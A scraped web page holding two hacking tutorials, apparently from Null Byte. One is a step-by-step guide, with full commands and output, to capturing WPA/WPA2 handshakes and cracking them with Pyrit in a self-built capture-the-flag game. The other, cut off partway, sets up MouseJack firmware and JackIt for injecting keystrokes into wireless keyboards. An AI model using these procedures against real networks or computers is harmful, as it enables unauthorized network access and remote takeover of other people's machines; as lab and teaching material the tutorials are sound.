GunfightNews:Bugzilla Cross Site Request ForgeryHow To:Things to Do on WonderHowTo (01/18 - 01/24)Atomic Web:The BEST Web Browser for iOS DevicesNews:Best Hacking SoftwareNews:3 Unique Alternative Web Browsers for Your iOS Device
How to Crack WPA & WPA2 Wi-Fi Passwords with Pyrit « Null Byte :: WonderHowTo
Pyrit is one of the most powerful WPA/WPA2 cracking tools in a hacker's arsenal, with the ability to benchmark a computer's CPU speeds, analyze capture files for crackable handshakes, and even tap into GPU password-cracking power. To demonstrate how quickly it can hack a WPA/WPA2 password, we'll use it to play a Wi-Fi hacking CTF game anyone can practice for less than $10.Wi-Fi is incredibly convenient but comes with inherent security problems that make using it riskier than a wired alternative. That's because anyone can join a WPA-encrypted Wi-Fi network provided they know the password, allowing an attacker direct access to other devices on the network and network traffic in general. Choosing aWi-Fi password that is difficult to guessis very important, because, with a good password list and a program like Pyrit, even huge password lists can be searched through in a matter of minutes.Password-Cracking with OpenCL & CUDAWhile we won't be using GPU cracking today, Pyrit is capable of using a compatible GPU to crack passwords even faster. It's dependent on your computer's hardware, and thus the setup process will depend on the type of GPU you have and whether you choose to use OpenCL or CUDA. Once GPU acceleration is enabled, Pyrit is one of the fastest tools available for WPA password-cracking out there.You may get lucky in that the GPU of your computer already is compatible with Pyrit, but getting the GPU acceleration working is an unfun process that I'll leave to those of you brave enough. You can always attempt it by followingPyrit's guide on GitHubfor instructions, but I wasn't able to get it working correctly on either laptop I tried it on, at the time of this writing.Don't Miss:Automating Wi-Fi Hacking with Besside-ngCracking the Password in Our CTF GamePyrit has many tools that are useful for hackers and pentesters besides just cracking passwords, and today, we'll use a few of those tools to help us play a capture-the-flag Wi-Fi hacking game. One helpful tool is thestripcommand, which strips down long capture files to only include relevant packets. And then there's theverifyoption that lets Pyrit confirm results via recomputation.Pyrit also has several features to import multiple password lists into a large database. To prevent duplicates, theimport_unique_passwordscommand can also strip out passwords that appear multiple times in the same file we're trying to import. After we import passwords to the database, we can start cracking them with theattack_batchoption.In Kali Linux, we can see the description of the tool by typingman pyritin a terminal window.NAME pyrit - A GPGPU-driven WPA/WPA2-PSK key cracker SYNOPSIS pyrit [options] command DESCRIPTION Pyrit exploits the computational power of many-core- and GPGPU-plat‐ forms to create massive databases, pre-computing part of the WPA/WPA2-PSK authentication phase in a space-time tradeoff. It is a powerful attack against one of the world's most used security-proto‐ cols. ...Without adding passwords to the Pyrit database directly, the most basic attack we can run with Pyrit is theattack_passthroughoption, summarized by manual description.attack_passthrough Attack an EAPOL-handshake found in the packet-capture file(s) given by the option -r using the passwords read from the file given by the option -i. The options -b and -e can be used to specify the Access-Point to attack; it is picked automatically if both options are omitted. The password is written to the filename given by the option -o if specified. For example: pyrit -r test.pcap -b 00:de:ad:be:ef:00 \ -i words.txt attack_passthrough Pyrit attacks all EAPOL-handshakes at the same time if the option --all-handshakes is supplied.While we'll step this up by loading some passwords into the database first, the most basic method of password cracking with Pyrit is incredibly simple to use.The CTF Wi-Fi Hacking ScenarioTo follow along, you'll need at a minimum aKali-compatible wireless network adapter, a Wi-Fi network you know the password to, a device like a smartphone to join the network to create handshakes, and a computer running Kali Linux.Don't Miss:Buy the Best Wireless Network Adapter for Wi-Fi HackingIf you want to try out our scenario more easily, you can use an ultra-cheapESP8266 microcontrollerprogrammed in Arduino to both create a Wi-Fi network to hack and generate handshakes at the same time. For anyone wanting to practice with an MCU, my friends and I wrote a Wi-Fi hacking CTF game called theChickenManGame, which is the world's most famous (and only) Wi-Fi hacking CTF game based on the ESP8266.Image by Kody/Null ByteTo play the game, I recommend using either aNodeMCUorD1 Mini microcontroller, both of which are based on the ESP8266 and cost between $2 and $5 each board. Load the ChickenManGame sketch in Arduino, install the needed libraries, and push the code to the ESP8266 following theinstructions on the GitHub repository. After you've pushed the code to each microcontroller, plug in a red, green, and blue LED to each as shown in the instructions on GitHub.Buy a NodeMCU Board on AmazonBuy a NodeMCU Board on AliExpressBuy a D1 Mini MCU on AmazonBuy a D1 Mini MCU on AliExpressImage by Kody/Null ByteFinally, plug each device into a Micro-USB power source, then connect a jumper wire from pin D7 to ground on only one of them. The ESP8266 without pin D7 connected to ground will create a Wi-Fi network named "Chicken Easy" with a number at the end. The second device with pin D7 connected to ground will join the Wi-Fi network that the first one created, generating WPA handshakes for you to capture and crack easily.In our game today, we'll be trying to connect to an encrypted Wi-Fi access point with a WPA/WPA2 password we don't know. We'll do this in a few steps, usingairodump-ngto grab the handshake, and Pyrit to crack the password.Don't Miss:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackStep 1: Install PyritTo install Pyrit on a Kali system, typeapt install pyritin a terminal window. Pyrit is installed by default on full Kali installs, but for the lite version, you may need to install it manually.~$ apt install pyrit Reading package lists... Done Building dependency tree Reading state information... Done pyrit is already the newest version (0.5.1+git20180801-1). pyrit set to manually installed. The following package was automatically installed and is no longer required: libgit2-27 Use 'apt autoremove' to remove it. 0 upgraded, 0 newly installed, 0 to remove and 1795 not upgraded.Once it's finished installing, typepyrit -hto print the help menu and confirm it's installed on our system.~$ pyrit -h Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Usage: pyrit [options] command Recognized options: -b : Filters AccessPoint by BSSID -e : Filters AccessPoint by ESSID -h : Print help for a certain command -i : Filename for input ('-' is stdin) -o : Filename for output ('-' is stdout) -r : Packet capture source in pcap-format -u : URL of the storage-system to use --all-handshakes : Use all handshakes instead of the best one --aes : Use AES Recognized commands: analyze : Analyze a packet-capture file attack_batch : Attack a handshake with PMKs/passwords from the db attack_cowpatty : Attack a handshake with PMKs from a cowpatty-file attack_db : Attack a handshake with PMKs from the db attack_passthrough : Attack a handshake with passwords from a file batch : Batchprocess the database benchmark : Determine performance of available cores benchmark_long : Longer and more accurate version of benchmark (5 minutes) check_db : Check the database for errors create_essid : Create a new ESSID delete_essid : Delete a ESSID from the database eval : Count the available passwords and matching results export_cowpatty : Export results to a new cowpatty file export_hashdb : Export results to an airolib database export_passwords : Export passwords to a file help : Print general help import_passwords : Import passwords from a file-like source import_unique_passwords : Import unique passwords from a file-like source list_cores : List available cores list_essids : List all ESSIDs but don't count matching results passthrough : Compute PMKs and write results to a file relay : Relay a storage-url via RPC selftest : Test hardware to ensure it computes correct results serve : Serve local hardware to other Pyrit clients strip : Strip packet-capture files to the relevant packets stripLive : Capture relevant packets from a live capture-source verify : Verify 10% of the results by recomputationWhat We'll End Up WithFor our attack, we'll be using theattack_batchoption, and we'll need a couple of pieces of information for the command to work.First, we need to include a capture file that our WPA/WPA2 handshake is saved in. We'll add it by adding the-rflag, with the location of the file containing our handshake directly after. Next, we'll need to add a list of passwords to Pyrit, which we can do with theimport_unique_passwordscommand and the-iflag to indicate the password list we want to add. We'll be using a WPA password listfrom the SecLists GitHub repository. Finally, we'll be using the-oflag to save the password to a file.Our final command should look something like this when we're ready:~$ pyrit -r capture.pcap -o savedpass attack_batchBefore we can execute the attack, however, we'll need to grab the handshake and the password list, so let's grab those first.Don't Miss:Capturing WPA Passwords by Targeting Users with a Fluxion AttackStep 2: Download a Password List & Benchmark SystemFor our password list, we're going to download the excellent WPA cracking wordlist hosted at the SecList GitHub repository. To download it to our Desktop, type the following commands into a terminal window.~$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt --2019-12-20 13:19:39-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/WiFi-WPA/probable-v2-wpa-top4800.txt Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 45276 (44K) [text/plain] Saving to: ‘probable-v2-wpa-top4800.txt’ probable-v2-wpa-top 100%[===================>] 44.21K --.-KB/s in 0.07s 2019-12-20 13:19:39 (627 KB/s) - ‘probable-v2-wpa-top4800.txt’ saved [45276/45276]When it's complete, we should have a password list of 4,800 of the worst passwords out there to start with, downloaded to our desktop. To know how quickly we'll be able to crack through them, we'll need to benchmark our system with Pyrit. To do so, typepyrit benchmarkinto a terminal window and wait while it completes.~$ pyrit benchmark Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Running benchmark (1157.3 PMKs/s)... | Computed 1157.32 PMKs/s total. #1: 'CPU-Core (SSE2/AES)': 298.2 PMKs/s (RTT 2.9) #2: 'CPU-Core (SSE2/AES)': 312.0 PMKs/s (RTT 3.0) #3: 'CPU-Core (SSE2/AES)': 312.6 PMKs/s (RTT 2.7) #4: 'CPU-Core (SSE2/AES)': 310.5 PMKs/s (RTT 3.0)Here, we can see that my rather old Lenovo can try about 1,157.3 PMKs per second, meaning it would take about 4.1 seconds to try every password in the file. Compare that to a new Macbook Pro with 4,226 PMKs per second, and you see how CPU power matters when it comes to cracking.Let's add our passwords to the database with theimport_passwordscommand, adding-iand the path to the password list we want to add. Type the following command into your terminal window, modifying the password list to match where you saved yours.~$ pyrit -i '/root/Desktop/probable-v2-wpa-top4800.txt' import_passwords Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Connecting to storage at 'file://'... connected. 4800 lines read. Flushing buffers.... All done.Now we have 4,800 passwords saved in Pyrit's database, and we can use theattack_batchoption.Step 3: Capture a WPA/WPA2 HandshakeTo capture a handshake, we'll need to listen in on one device connecting to our target Wi-Fi network. First, let'sput our card into wireless monitor modeso that we can listen in on handshake files.Don't Miss:Hack WPA & WPA2 Wi-Fi Passwords Using AirgeddonFirst, open a terminal window and typeifconfigto locate the name of your wireless network adapter. If you're using an external USB adapter that's compatible with Kali, it will probably be named something like wlan1.~$ ifconfig eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether 50:7b:9d:7a:c8:8a txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 856 bytes 71488 (69.8 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 856 bytes 71488 (69.8 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.0.37 netmask 255.255.255.0 broadcast 192.168.0.255 inet6 2606:6000:66d0:a000:8991:f76f:faec:2713 prefixlen 64 scopeid 0x0<global> inet6 fe80::903f:322c:1ad9:a365 prefixlen 64 scopeid 0x20<link> ether 30:52:cb:6b:76:5f txqueuelen 1000 (Ethernet) RX packets 17933 bytes 22147581 (21.1 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 10045 bytes 1333343 (1.2 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 wlan1: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500 ether 00:c0:ca:95:6e:74 txqueuelen 1000 (Ethernet) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Next, we'll put our card into wireless monitor mode with the commandairmon-ng start wlan1. Airmon-ng is installed on Kali by default. When we runifconfigagain, our card should now be called "wlan1mon." Now, let's grab a handshake.First, we'll run a scan to find what channel our target network is on. To do so, runairodump-ng wlan1mon. Again, you should already have airodump-ng.~$ airodump-ng wlan1mon CH 10 ][ Elapsed: 0 s ][ 2019-04-29 12:32 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 18:FE:34:00:00:02 -40 4 0 0 3 48 WPA2 CCMP PSK Chicken_Easy_02We can see our target network is on channel 3. Now that we know this, we can capture a handshake with the commandairodump-ng wlan1mon -c 3 -w capture.~$ airodump-ng wlan1mon -c 3 -w captureWhen you've captured a handshake, you can confirm it with Pyrit. After copying the location of your capture file, run the commandpyrit -rpathtocapturefileanalyzeto confirm you have a valid capture.~$ pyrit -r '/root/Desktop/capture-01.cap' analyze Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Parsing file '/root/Desktop/marko-01.cap' (1/1)... Parsed 122 packets (122 802.11-packets), got 8 AP(s) #1: AccessPoint 84:61:a0:61:39:90 ('ATT9X3s2e4'): #2: AccessPoint ce:50:e3:08:11:d4 ('Chicken_Easy_01'): #1: Station 84:0d:8e:8c:b0:1c, 4 handshake(s): #1: HMAC_SHA1_AES, good, spread 1 #2: HMAC_SHA1_AES, good, spread 1 #3: HMAC_SHA1_AES, good, spread 87 #4: HMAC_SHA1_AES, good, spread 87 #3: AccessPoint 6e:4d:73:96:78:a7 ('Edgardo'): #1: Station cc:29:f5:57:fc:98 #4: AccessPoint c4:01:7c:57:69:a8 ('LILA-Guest'): #5: AccessPoint c4:01:7c:97:69:a8 ('LILA-STAFF'): #6: AccessPoint 6c:b0:ce:ad:1e:53 ('MyCharterWiFi53-2G'): #7: AccessPoint b0:98:2b:4a:b4:d4 ('MySpectrumWiFice-2G'): #8: AccessPoint c4:01:7c:17:69:a8 ('PS-WL-MO'):Here, we can see that we have good handshakes, meaning we can proceed with cracking.Step 4: Run Pyrit on the HandshakeNow that we've captured the handshake and added the passwords to the database, we can run ourattack_batchcommand we created before. Run the commandpyrit -rpathtocapturefile-o savedpass attack_batchto try cracking handshakes we captured.~$ pyrit -r '/root/Desktop/capture-01.cap' -o savedpass attack_batch Pyrit 0.5.1 (C) 2008-2011 Lukas Lueg - 2015 John Mora https://github.com/JPaulMora/Pyrit This code is distributed under the GNU General Public License v3+ Parsing file '/root/Desktop/capture-01.cap' (1/1)... Parsed 122 packets (122 802.11-packets), got 8 AP(s) Picked AccessPoint ce:50:e3:08:11:d4 ('Chicken_Easy_01') automatically. Tried 447 PMKs so far; 250 PMKs per second. password The password is '123456789'.Success! If you're playing our Wi-Fi hacking CTF game, you can log into the Wi-Fi access point, navigate to192.168.4.1, and click on your team's color to claim the game piece for your team.If you're not playing our game, then you just cracked the password to a WPA/WPA2 network, provided the password was on the list. If it wasn't, you might need a more extensive password list, even to try brute-forcing it.Pyrit Makes It Easy to Brute-Force PasswordsWhile we didn't go over everything Pyrit can do today, there is a lot we didn't cover. Of course, while Pyrit is one of the most potent brute-force attacks out there, an extremely strong password will still defeat the attack. Pyrit is capable of both dictionary and true brute-forcing attacks depending on what your system can handle, so make sure to pick strong passwords if you don't want to be vulnerable to easy cracking with tools like Pyrit.I hope you enjoyed this guide to brute-forcing passwords using Pyrit! If you have any questions about this tutorial on using your CPU and GPU to crack passwords using Pyrit, please ask below, and if you have a comment or idea for a future episode, feel free to reach me on [email protected]'t Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Kody/Null ByteRelatedHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Hack Wi-Fi Networks with BettercapHow To:Crack Wi-Fi Passwords—For Beginners!How to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Brute-Force WPA/WPA2 via GPUHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody — Even Android UsersHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:The Easiest Way to Share Your Complicated WiFi Password with Friends & Family—No Typing RequiredHow To:Hack WPA & WPA2 Wi-Fi Passwords with a Pixie-Dust Attack Using AirgeddonHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Recover a Lost WiFi Password from Any DeviceHow to Hack Wi-Fi:Get Anyone's Wi-Fi Password Without Cracking Using WifiphisherHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Hack WPA WiFi Passwords by Cracking the WPS PINHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:How Hackers Steal Your Internet & How to Defend Against ItNews:Advanced Cracking Techniques, Part 1: Custom DictionariesHow To:See Who's Stealing Your Wi-Fi (And Give Them the Boot)News:Secure Your Wireless Network from Pillage and Plunder in 8 Easy StepsHow To:Encrypt a NETGEAR router with WPA password protection
How to Inject Keystrokes into Logitech Keyboards with an nRF24LU1+ Transceiver « Null Byte :: WonderHowTo
MouseJackvulnerabilities weredisclosed over three years ago. Some wireless keyboard manufacturers have since issued firmware updates, but millions (if not billions) of keyboards remain unpatched worldwide, either because they can't be updated or because the manufacturer never bothered to issue one.According to Bastille, "MouseJack is a class of vulnerabilities that affects the vast majority of wireless, non-Bluetooth keyboards and mice." Led byMarc Newlin, MouseJack takes advantage of a USB dongle's (shown below) willingness to accept unencrypted keystrokes from surrounding devices.Image by tokyoneon/Null ByteHowever, the concept of keystroke sniffing and injection was first made public byThorsten Schroeder and Max Moserin 2010. Later, Travis Goodspeed published "Promiscuity is the nRF24L01+'s Duty," which expanded on the duo's work. In 2015,Samy KamkardebutedKeySweeper, anArduino-basedUSB wall charger designed to passively sniff and log keystrokes made by Microsoft keyboards.Don't Miss:A Hacker's Guide to Programming MicrocontrollersMarc discovered that wireless mice and keyboards manufactured byAmazonBasics, Dell, Gigabyte, HP, Lenovo, Logitech, and Microsoft were all affectedby many of the MouseJack vulnerabilities. An attacker with aCrazyradio PAdevice (nRF24LU1+) can inject keystrokes into most of these USB dongles as well as sniff keystrokes and perform denial-of-service attacks. Ultimately, it allows the attacker to compromise and remotely control a computer from up to 250 feet away.Buy a Crazyradio PA Long-Range USB Radio Dongle:Amazon|BitcrazeCrazyradio PA USB radio dongle based on Nordic Semiconductor's nRF24LU1+.Image by tokyoneon/Null ByteTo follow along with the guide below, you will need a nRF24LU1+ wireless transceiver such as theCrazyradio PAor something similar.Step 1: Flash the FirmwareTo get started,new nRF24LU1+ hardwarewill need to be flashed with custom firmware to scan for vulnerable devices and inject keystrokes. First, make sure Kali's APT package index is up to date:~$ apt-get updateSeveral dependencies are required to execute the Python scripts used to build and automate the flashing process. Use the belowapt-getcommand to make sure Git, Python, and other required packages are installed and up to date.~$ apt-get install sdcc binutils python python-pip git Reading package lists... Done Building dependency tree Reading state information... Done python is already the newest version (2.7.16-1). python-pip is already the newest version (18.1-5). The following packages were automatically installed and are no longer required: libpython3.6-minimal libpython3.6-stdlib python3.6 python3.6-minimal Use 'sudo apt autoremove' to remove them. The following additional packages will be installed: binutils-common binutils-x86-64-linux-gnu gputils gputils-common gputils-doc libbinutils sdcc-doc sdcc-libraries Suggested packages: binutils-doc sdcc-ucsim The following NEW packages will be installed: gputils gputils-common gputils-doc sdcc sdcc-doc sdcc-libraries The following packages will be upgraded: binutils binutils-common binutils-x86-64-linux-gnu libbinutils 4 upgraded, 6 newly installed, 0 to remove and 108 not upgraded. Need to get 9,868 kB of archives. After this operation, 63.7 MB of additional disk space will be used. Do you want to continue? [Y/n]The version of PIP available in Kali's repository might be a bit outdated. Update it with the following command.~$ pip install --upgrade pip Collecting pip Downloading https://files.pythonhosted.org/packages/f9/fb/863012b13912709c13cf5cfdbfb304fa6c727659d6290438e1a88df9d848/pip-19.1-py2.py3-none-any.whl (1.4MB) 100% |████████████████████████████████| 1.4MB 114kB/s Installing collected packages: pip Found existing installation: pip 18.1 Not uninstalling pip at /usr/lib/python2.7/dist-packages, outside environment /usr Can't uninstall 'pip'. No files were found to uninstall. Successfully installed pip-19.1More dependencies need to be installed with PIP. Use the-Ioption when installing thePyUSBpackage, a Python USB access module.~$ pip install --upgrade -I pyusb DEPRECATION: Python 2.7 will reach the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 won't be maintained after that date. A future version of pip will drop support for Python 2.7. Collecting pyusb Downloading https://files.pythonhosted.org/packages/5f/34/2095e821c01225377dda4ebdbd53d8316d6abb243c9bee43d3888fa91dd6/pyusb-1.0.2.tar.gz (54kB) |████████████████████████████████| 61kB 82kB/s Building wheels for collected packages: pyusb Building wheel for pyusb (setup.py) ... done Stored in directory: /root/.cache/pip/wheels/1f/a9/7e/d189b5030ee3a56f9b72c28281bb11d661b8ea312e28de08a5 Successfully built pyusb Installing collected packages: pyusb Successfully installed pyusb-1.0.2And finally, install the lastPlatformIOpackage, an open-source ecosystem for IoT development.~$ pip install --upgrade platformio Collecting platformio Downloading https://files.pythonhosted.org/packages/fe/01/69aa7d8ef8cd74493338396ff86dc1bbfe85ae58b77fc705924c920a38eb/platformio-3.6.7-py27-none-any.whl (161kB) |████████████████████████████████| 163kB 92kB/s Collecting pyserial!=3.3,<4,>=3 (from platformio) Downloading https://files.pythonhosted.org/packages/0d/e4/2a744dd9e3be04a0c0907414e2a01a7c88bb3915cbe3c8cc06e209f59c30/pyserial-3.4-py2.py3-none-any.whl (193kB) |████████████████████████████████| 194kB 179kB/s Requirement already satisfied, skipping upgrade: requests<3,>=2.4.0 in /usr/lib/python2.7/dist-packages (from platformio) (2.21.0) Collecting click<6,>=5 (from platformio) Downloading https://files.pythonhosted.org/packages/8f/98/14966b6d772fd5fba1eb3bb34a62a7f736d609572493397cdc5715c14514/click-5.1-py2.py3-none-any.whl (65kB) |████████████████████████████████| 71kB 188kB/s Requirement already satisfied, skipping upgrade: colorama in /usr/lib/python2.7/dist-packages (from platformio) (0.3.7) Collecting bottle<0.13 (from platformio) Downloading https://files.pythonhosted.org/packages/32/4e/ed046324d5ec980c252987c1dca191e001b9f06ceffaebf037eef469937c/bottle-0.12.16.tar.gz (72kB) |████████████████████████████████| 81kB 153kB/s Collecting semantic-version<3,>=2.5.0 (from platformio) Downloading https://files.pythonhosted.org/packages/72/83/f76958017f3094b072d8e3a72d25c3ed65f754cc607fdb6a7b33d84ab1d5/semantic_version-2.6.0.tar.gz Building wheels for collected packages: bottle, semantic-version Building wheel for bottle (setup.py) ... done Stored in directory: /root/.cache/pip/wheels/0c/68/ac/1546dcb27101ca6c4e50c5b5da92dbd3307f07cda5d88e81c7 Building wheel for semantic-version (setup.py) ... done Stored in directory: /root/.cache/pip/wheels/60/bb/50/215d669d31f992767f5dd8d3c974e79261707ee7f898f0dc10 Successfully built bottle semantic-version Installing collected packages: pyserial, click, bottle, semantic-version, platformio Found existing installation: Click 7.0 Uninstalling Click-7.0: Successfully uninstalled Click-7.0 Successfully installed bottle-0.12.16 click-5.1 platformio-3.6.7 pyserial-3.4 semantic-version-2.6.0Step 2: Clone the MouseJack RepositoryClone theMouseJack repository of scriptson GitHub into the /opt directory.~$ git clone https://github.com/BastilleResearch/mousejack /opt/mousejack Cloning into '/opt/mousejack'... remote: Enumerating objects: 285, done. remote: Total 285 (delta 0), reused 0 (delta 0), pack-reused 285 Receiving objects: 100% (285/285), 8.63 MiB | 353.00 KiB/s, done. Resolving deltas: 100% (131/131), done.Changeinto the new mousejack/ directory.~$ cd /opt/mousejack/Use thesubmodule initoptions to initialize the local configuration file for thenrf-research-firmware. This is the firmware being flashed onto the nRF24LU1+ device./opt/mousejack$ git submodule init Submodule 'nrf-research-firmware' (https://github.com/BastilleResearch/nrf-research-firmware.git) registered for path 'nrf-research-firmware'Then, use thesubmodule updateoptions to fetch all the data and checkout the appropriate commit listed./opt/mousejack$ git submodule update Cloning into '/opt/mousejack/nrf-research-firmware'... Submodule path 'nrf-research-firmware': checked out '02b84d1c4e59c0fb98263c83b2e7c7f9863a3b93'Change into the nrf-research-firmware/ directory./opt/mousejack$ cd nrf-research-firmware/Use themakecommand to execute the commands in theMakefile./nrf-research-firmware$ make mkdir -p bin sdcc --model-large --std-c99 -c src/main.c -o bin/main.rel sdcc --model-large --std-c99 -c src/usb.c -o bin/usb.rel sdcc --model-large --std-c99 -c src/usb_desc.c -o bin/usb_desc.rel sdcc --model-large --std-c99 -c src/radio.c -o bin/radio.rel sdcc --xram-loc 0x8000 --xram-size 2048 --model-large bin/main.rel bin/usb.rel bin/usb_desc.rel bin/radio.rel -o bin/dongle.ihx objcopy -I ihex bin/dongle.ihx -O binary bin/dongle.bin objcopy --pad-to 26622 --gap-fill 255 -I ihex bin/dongle.ihx -O binary bin/dongle.formatted.bin objcopy -I binary bin/dongle.formatted.bin -O ihex bin/dongle.formatted.ihxAt this point, the nRF24LU1+ device should be inserted into the computer. Then, execute themake installcommand./nrf-research-firmware$ make install ./prog/usb-flasher/usb-flash.py bin/dongle.bin [2019-04-25 23:55:44.351] Looking for a compatible device that can jump to the Nordic bootloader [2019-04-25 23:55:44.378] Device found, jumping to the Nordic bootloader [2019-04-25 23:55:44.969] Looking for a device running the Nordic bootloader [2019-04-25 23:55:45.171] Writing image to flash [2019-04-25 23:55:45.808] Verifying write [2019-04-25 23:55:45.867] Firmware programming completed successfully [2019-04-25 23:55:45.867] Please unplug your dongle or breakout board and plug it back in.As instructed, unplug the nRF24LU1+ from the computer. To verify the firmware was flashed, plug the nRF24LU1+ device back into the computer and use thedmesgcommand. The product and manufacture lines should read "Research Firmware" and "RFStorm," respectively./nrf-research-firmware$ dmesg [ 2433.986481] usb 2-1: new full-speed USB device number 3 using xhci_hcd [ 2434.136930] usb 2-1: New USB device found, idVendor=1915, idProduct=0102, bcdDevice= 0.01 [ 2434.136938] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0 [ 2434.136942] usb 2-1: Product: Research Firmware [ 2434.136946] usb 2-1: Manufacturer: RFStormStep 3: Clone the JackIt RepositoryWith the nRF24LU1+ device set up, it's now possible to scan the surrounding area for wireless mice and keyboards. There are several great Python scripts included in the MouseJack repository, but we'll instead use theJackItscript to automate keystroke injection.Created byphikshunandinfamy, JackIt is an automation tool designed to useUSB Rubber Duckyscripts to inject keystrokes into vulnerable devices.Start by downloading theJackItrepository.~$ git clone https://github.com/insecurityofthings/jackit.git /opt/jackit Cloning into '/opt/jackit'... remote: Enumerating objects: 718, done. remote: Total 718 (delta 0), reused 0 (delta 0), pack-reused 718 Receiving objects: 100% (718/718), 171.39 KiB | 153.00 KiB/s, done. Resolving deltas: 100% (439/439), done.Change into the new jackit/ directory.~$ cd /opt/jackit/Listthe directory contents./opt/jackit$ ls -la total 48 drwxr-xr-x 6 root root 4096 Apr 26 22:25 . drwxr-xr-x 6 root root 4096 Apr 26 22:25 .. drwxr-xr-x 2 root root 4096 Apr 26 22:25 bin drwxr-xr-x 2 root root 4096 Apr 26 22:25 examples drwxr-xr-x 8 root root 4096 Apr 26 22:25 .git -rw-r--r-- 1 root root 1072 Apr 26 22:25 .gitignore drwxr-xr-x 5 root root 4096 Apr 26 22:25 jackit -rw-r--r-- 1 root root 4743 Apr 26 22:25 README.md -rw-r--r-- 1 root root 52 Apr 26 22:25 requirements.txt -rwxr-xr-x 1 root root 594 Apr 26 22:25 setup.py -rw-r--r-- 1 root root 289 Apr 26 22:25 tox.iniWe'll find a "requirements.txt" file. This indicates there are several dependencies that should be installed with PIP. That's it for the setup./opt/jackit$ pip install -e . Obtaining file:///opt/jackit Requirement already satisfied: click==5.1 in /usr/local/lib/python2.7/dist-packages (from JackIt==0.1.0) (5.1) Collecting pyusb==1.0.0 (from JackIt==0.1.0) Downloading https://files.pythonhosted.org/packages/8a/19/66fb48a4905e472f5dfeda3a1bafac369fbf6d6fc5cf55b780864962652d/PyUSB-1.0.0.tar.gz (52kB) |████████████████████████████████| 61kB 81kB/s Collecting six==1.10.0 (from JackIt==0.1.0) Downloading https://files.pythonhosted.org/packages/c8/0a/b6723e1bc4c516cb687841499455a8505b44607ab535be01091c0f24f079/six-1.10.0-py2.py3-none-any.whl Collecting tabulate==0.7.5 (from JackIt==0.1.0) Downloading https://files.pythonhosted.org/packages/db/40/6ffc855c365769c454591ac30a25e9ea0b3e8c952a1259141f5b9878bd3d/tabulate-0.7.5.tar.gz Building wheels for collected packages: pyusb, tabulate Building wheel for pyusb (setup.py) ... done Stored in directory: /root/.cache/pip/wheels/a6/69/c7/258e736ee9bdb4553bd9701424b259436b979cf96201af612f Building wheel for tabulate (setup.py) ... done Stored in directory: /root/.cache/pip/wheels/96/9c/9a/369b6376b11523584a6040a89488c28f0f88cb52167dceb648 Successfully built pyusb tabulate Installing collected packages: pyusb, six, tabulate, JackIt Found existing installation: pyusb 1.0.2 Uninstalling 